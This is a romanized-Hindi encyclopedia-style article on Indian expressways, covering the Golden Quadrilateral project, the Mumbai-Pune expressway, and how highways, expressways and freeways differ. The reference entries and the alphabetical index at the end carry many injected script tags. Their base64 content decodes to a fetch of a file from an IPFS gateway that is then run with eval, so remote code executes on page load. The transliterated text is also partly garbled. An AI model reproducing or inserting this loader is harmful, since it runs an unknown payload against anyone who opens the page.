एक्सप्रेस वे

thumb|250px|mumbee-pune eksapres ve eksapres ve yatayat ke lie ek s dak marg haian. vartaman mean bharat sankari s dakoan se eksapres ve par a gaya hai. yatra ka samay kam karane aur vahanoan ko drutagati se dau dane ke lie in eksapres ve ko banaya gaya hai. pahale ekal rod par bhi vahan asani se a ja sakate the. bad mean in s dakoan par traiphik ka dabav badhane laga, unhian samasyaoan ka samadhan eksapres ve ke roop mean nikala gaya, lekin aj isaki zaroorat ne eksapres ve yojana ko hi mahattvapoorn bana diya. mukhy shaharoan ke eyaraport, vyavasayik keandroan se jo dakar eksapres ve ne kam samay mean shaharoan ko jo d diya hai.

svarnim chaturbhuj yojana

eksapres ve shahari vikas ke ne yug ki sharooat ke sath desh ke kramagat vikas ki chal ko bhi tej karate haian. pichhale paanch dashak se bharat mean jin rajamargo aur eksapres ve ki charcha hoti rahi, use moort roop mean dhalane ka vastavik prayas tatkalin pradhanamantri atal bihari vajapeyi ne kiya tha. 1999 ne vajapeyi ne rashtriy rajamarg pradhikaran ko suptavastha se jagakar sakriy kiya, unhoanne desh ke charoan metro shaharoan ko uttar-dakshin aur poorv-pashchim k aauridor se jodane ke lie "svarnim chaturbhuj yojana" banaee aur isake karyanvayan ka jimma "har kimat par poora karane ke adesh ke sath" bi.si. khandoori ko sauanpa. ye kisi kirtiman se kam n tha, kyoanki naukarashah, riyal estet malik, jamiandaroan ke virodh ke bavajood yah yojana 95 pratishat tak poori ho paee aur aj vastavikata sabake samane hai.^[1]

japan se takaniki sahayata

eksapres margo ke vikas ke lie japan, bharat ke sath "teknol aauji traansaphar" karane ka ichchhuk hai. khas taur se haee-spid k aauridors ke lie. gauratalab hai ki dvitiy vishv yuddh ke bad japan ne arthik punarootthan karate hue, sabase pahale s dakoan ki badatar halat par dhyan diya tha. 1956 mean 23 pratishat rashtriy marg pakke the, lekin aj japan ke charoan mukhy dvip aur okinava qarib 7000 ki.mi. ke eksapres ve netavark se ju de haian.^[1]

bharat mean pahala eksapres ve

bharat ki arthik rajadhani mumbee aur shaikshik kendr poona ke bich 'pahala eksapres ve' ka nirman kiya gaya. yah eksapres ve chh: len ka banaya gaya hai. 93 ki.mi. (58 mil) lanbaee vala yah rajamarg any s dakoan se alag hai. is eksapres par muanbee aur pune ke bich mean vahan chalan ka anand mahasoos kar sakate haian. purane samay mean saphar karane ke mukabale eksapres ve se 2-3 ghante mean gantavy tak pahuanch jate haian. jabaki en.ech. 4 (rashtriy rajamarg 4) se jane par 4-5 ghante ka samay lag jata hai. is tarah vyavasayik roop se do mahattvapoorn shaharoan ke bich yatra ke samay mean kafi bachat ho gee. yah van ve to hai hi, isaki surangoan ko bhi alag-alag banaya gaya hai. s dak ke donoan or ba d lagaee hai taki janavar adi vahanoan ki gati mean koee badha paida n karean. is par do pahiya vahan, tipahiya aur traiktar ki anumati nahian hai. jagah-jagah petrol panp, dhabe, karyashalaoan, shauchalay, apatakalin fon, prathamik chikitsa, si.si.ti.vi. adi ki vyavastha se susajjit kiya gaya hai. sath hi 80,000 pe d bhi lagaye ge haian.

bharat ke eksapres ve soochi

rashtriy rajamarg v eksapres ve

duniya ka doosara sabase b da s dak netavark bharat ka s dak netavark hai, jo sabhi pramukh aur chhote shaharoan ke sath hi kasboan aur gaanvoan ko sath jo data hai. bharatiy s dak netavark mean eksapres ve, rashtriy rajamarg, rajy rajamarg ke sath hi aur kee mukhy zile aur gramin s dakean hai. eksapres ve aur rajamargoan ke bich kya mukhy aantar hai aur ye phrive kya hota hai?^[2]

rashtriy rajamarg

rashtriy rajamarg bharat ke har ek pramukh shahar ko jo data hai, chahe vo bandaragah ho ya phir rajyoan ki rajadhani. isamean do, char ya phir jyada len hote haian jinako charakol ya phir koyala aur kuchh simeant kankrit se banaya jata hai. bharat mean rashtriy rajamarg gred s dakoan par hai aur ye paidal aur saikil chalakoan ke lie ghatak hote haian kyoanki rajamargoan par gati kee bar bekaboo hoti hai. desh ke arthik vikas ko badhane mean rashtriy rajamarg ki aham bhoomika rahi hai, kyoanki kee shaharoan ke sath rajamargoan ke jarie hi vyapar hota hai. s dak parivahan aur rajamarg mantralay ke adhin ye netavark jisako banane ka kam aur prabandhan bharatiy rashtriy rajamarg pradhikaran, rashtriy rajamarg aur avasanrachana vikas nigam aur rajy sarakaroan ke lok nirman vibhag yani (pidablyoodi) karata hai. bharatiy rashtriy rajamarg pradhikaran, 1988 ne enech ko sthapit kiya jo ki rajamarg vikas, rakh-rakhav ke sath hi tol jutane ke lie niji ke sath hi soshal sajhedari m aaudal ko istemal mean lata hai.

eksapres ve

bharat mean eksapres ve mean uchch shreni ki s dakean hoti haian jo ki niyantrit ekses rod netavark vale chhah se ath len ke rajamarg hote haian. sadharanat: eksapres ve adhunik suvidhaoan, jaise- ekses raianp, gred separeshan, len divaidar ke sath eliveted sekshan se yukt hote hai. inamean pravesh aur nikas ko chhoti s dakoan ke istemal se kaboo mean kiya jata hai. kee smart aur iantelijeant phichars se bhi eksapres ve ko lais kiya jata hai, jisamean ek haive traiphik mainejameant sistam yani ki echatiemes ke sath hi vidiyo iansideant ditekshan sistam yani ki viaeedies ko bhi shamil kiya hota hai. pradhikaran s dak parivahan evan rajamarg mantralay ke adhin rashtriy eksapres ve ata hai jo inako banane aur inake rakharakhav ka bhi dhyan rakhate haian.^[2]

mukhy aantar

eksapres ve mean s dakean maltipleksd nahian hoti haian yani ki jahaan ga diyaan ek limited jagah se pravesh kar sakati hai. yah age ya doosari s dak par milata ya kahian bhi eksapres ve ko par nahian karata. eksapres ve tak pahuanchane ke raste limited hote hai. isake lie kuchh jagahean tay hoti haian. isase koee doosari s dak nahian ju dati aur n to isase hokar gujarati hai. isaki vajah se hadase ki sanbhavana bhi kam hoti hai, lekin kee s dakean aisi haian jo kee jagahoan par rashtriy rajamargoan ke sath milati ya usako par karati haian. matalab rajamarg se hokar kee raste jate hai aur ju date haian. rajamarg rodavej mean haee spid yatayat dene ke lie speshali 04 len hote haian, lekin eksapres ve ek haee spid vali s dakoan ka dhaancha bhar hota hai jisamean kam s dakean ju dati haian. isamean kee suvidhaean di jati haian, jaise ki ekses raianp, len divaidar. rashtriy rajamarg mean aisa nahian hota hai.

phri ve

phri ve sadharanat: uchch gati ki ga diyoan ke ane-jane ke lie banaya gaya hai. ye kantrold ekses haive neshanal ka ek haiest klas hai. bharat mean neshanal haive sistam mean sirph do hi phri ve haian. muanbee mean traiphik kraud mean kami lane ke lie poorvi phri ve aur pashchimi phri ve ka nirman kiya gaya hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 vikas ki raphtar ko gati dete eksapres ve (hiandi). . abhigaman tithi: 5 sitambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ^2.0 ^2.1 apako hai maloom, rashtriy rajamarg aur eksapres-ve ke bich Difference kya hai? (hiandi) nedricknews.com. abhigaman tithi: 20 march, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[mcc-1] 1.0 ^1.1 vikas ki raphtar ko gati dete eksapres ve (hiandi). . abhigaman tithi: 5 sitambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[pp-2] 2.0 ^2.1 apako hai maloom, rashtriy rajamarg aur eksapres-ve ke bich Difference kya hai? (hiandi) nedricknews.com. abhigaman tithi: 20 march, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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